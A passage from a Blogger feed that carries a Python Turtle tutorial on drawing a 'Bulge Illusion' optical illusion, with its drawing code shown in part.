&lt;/div&gt; </content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/7555500660711955830/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2022/01/python-machine-learning.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/7555500660711955830'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/7555500660711955830'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2022/01/python-machine-learning.html' title='Python Machine Learning (Gender Detection Project ♀♂) | Google Colab Project'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/a/AVvXsEgWlMdWPyDbrAuGhnGhABq0bnDXYiJdjz6e040CgSEz7ZeOoEiF656MMenq3lxWo5pJ17TclJfqTc9z8-Ol5moeZ0o665svK8haBSA3t915QtJvlwtaSpCydpqcixuDVmfMeVyN7JmXr6I5PBCWThyIUicR0-FC7EDX3OZoZ5c7bzeNAE6i61p1ImR5=s72-c" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-7602335567604653564</id><published>2022-01-08T12:30:00.001-08:00</published><updated>2022-01-08T12:30:00.181-08:00</updated><title type='text'>Create Optical illusion in Python | Create Optical illusion with Python | How to Create Optical illusions in Python</title><content type='html'>&lt;center&gt;&lt;iframe allowfullscreen=&quot;&quot; class=&quot;YOUTUBE-iframe-video&quot; data-thumbnail-src=&quot;https://i.ytimg.com/vi/Vx0vbC-akrE/0.jpg&quot; frameborder=&quot;0&quot; height=&quot;230&quot; src=&quot;https://www.youtube.com/embed/Vx0vbC-akrE?feature=player_embedded&quot; width=&quot;420&quot;&gt;&lt;/iframe&gt;&lt;/center&gt;
&lt;br /&gt;
&lt;p&gt;In this tutorial I will show you how easy it is to create optical illusion Images using Python. I am going to use Python Turtle and saving it as PNG. The whole process will be automated. If you don&#39;t know how to Export Python Turtle Design in to PNG images Check out &lt;a href=&quot;https://pysnakeblog.blogspot.com/2021/06/turtle-magic-turtle-to-png.html&quot; target=&quot;_blank&quot;&gt;this&lt;/a&gt; tutorial.&amp;nbsp;&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;This Scripts will create Transparent PNG images to which you can add any kind of background color using photoshop.&lt;/p&gt;&lt;br /&gt;

&lt;i&gt;More Python Resources&lt;/i&gt;     
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/2021/06/turtle-magic-turtle-to-png.html&quot;&gt;Run Ghost Script with Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/2020/07/full-python-to-exe-tutorial-to-z-in-one.html&quot;&gt;Create Python EXE (Full Course)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/2019/09/python-fun-with-python-pyramid.html&quot;&gt;Python Pyramid (With Examples)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/2019/11/webscraping-json-data-using-python.html&quot;&gt;Python Web Scraping with Json&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/2019/11/python-webscraping-convert-index-page.html&quot;&gt;Python Web Scraping + HACKING&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/2020/01/how-to-add-python-code-to-your-blog-or.html&quot;&gt;How to add Python Code to your Blog or webpage?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here are some Turtle generated Images along with the code.&lt;/p&gt;

&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEhVWnRSSndkrOxBgiTzGbCLUfPR5sU6E4lImzp1t_TMkIvyKsevr0cUxumiLBXezoJhCCsMudD_WgfiLaZo3fDaZmM9FYG7wm33ALVns3sn6lzMH4n7dtAfCyxQgpjGjH8Ugp9BNrRx4BvXP8FCxtA57fq-VwqAg5uak5lcmQxtylCi7Ey6BkcUd3U3=s2500&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;
  &lt;img alt=&quot;illusion in Python&quot; border=&quot;0&quot; data-original-height=&quot;2500&quot; data-original-width=&quot;2500&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEhVWnRSSndkrOxBgiTzGbCLUfPR5sU6E4lImzp1t_TMkIvyKsevr0cUxumiLBXezoJhCCsMudD_WgfiLaZo3fDaZmM9FYG7wm33ALVns3sn6lzMH4n7dtAfCyxQgpjGjH8Ugp9BNrRx4BvXP8FCxtA57fq-VwqAg5uak5lcmQxtylCi7Ey6BkcUd3U3=s320&quot; title=&quot;Bulge Illusion - #python4fun&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;&lt;br /&gt;

&lt;b&gt;Code for Bulge Illusion - #python4fun&lt;/b&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2;&quot;&gt;screen&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;Screen()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;screen&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;setup(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;800&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;800&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;screen&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;setworldcoordinates(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;screen&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;tracer(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;screen&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;title(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;Bulge Illusion - #python4fun&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;hideturtle()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;speed(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2;&quot;&gt;color1&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;light sky blue&#39;&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;color2&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;firebrick&#39;&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;screen&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;bgcolor(color2)&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;draw_square&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(x,y,size,c):&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;up()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;goto(x&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,y&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;seth(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;color(c)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;begin_fill()&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;_&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;range(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(size)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;left(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;90&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;end_fill()&lt;/span&gt;
    
&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;draw_board&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;():&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;x&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;range(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
        &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;y&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;range(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
            &lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_square(x,y,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,color1)&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;x&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;range(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
        &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;y&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;range(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
            &lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_square(x,y,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,color1)&lt;/span&gt;
            

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;draw_diag&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(x,y):&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;c&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;color2&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;(x&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;y)&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;2&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;else&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;color1&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;y&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_square(x&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,y&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,c)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_square(x&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,y&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,c)&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef;&quot;&gt;elif&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;y&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_square(x&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,y&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,c)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_square(x&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,y&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,c)&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;draw_straight&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(x,y):&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;c&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;color2&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;(x&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;y)&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;2&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;else&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;color1&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;y&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_square(x&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,y&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,c)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_square(x&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,y&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,c)&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef;&quot;&gt;elif&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;y&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_square(x&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,y&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,c)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_square(x&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,y&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,c)&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef;&quot;&gt;elif&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_square(x&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,y&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,c)&lt;/span&gt;
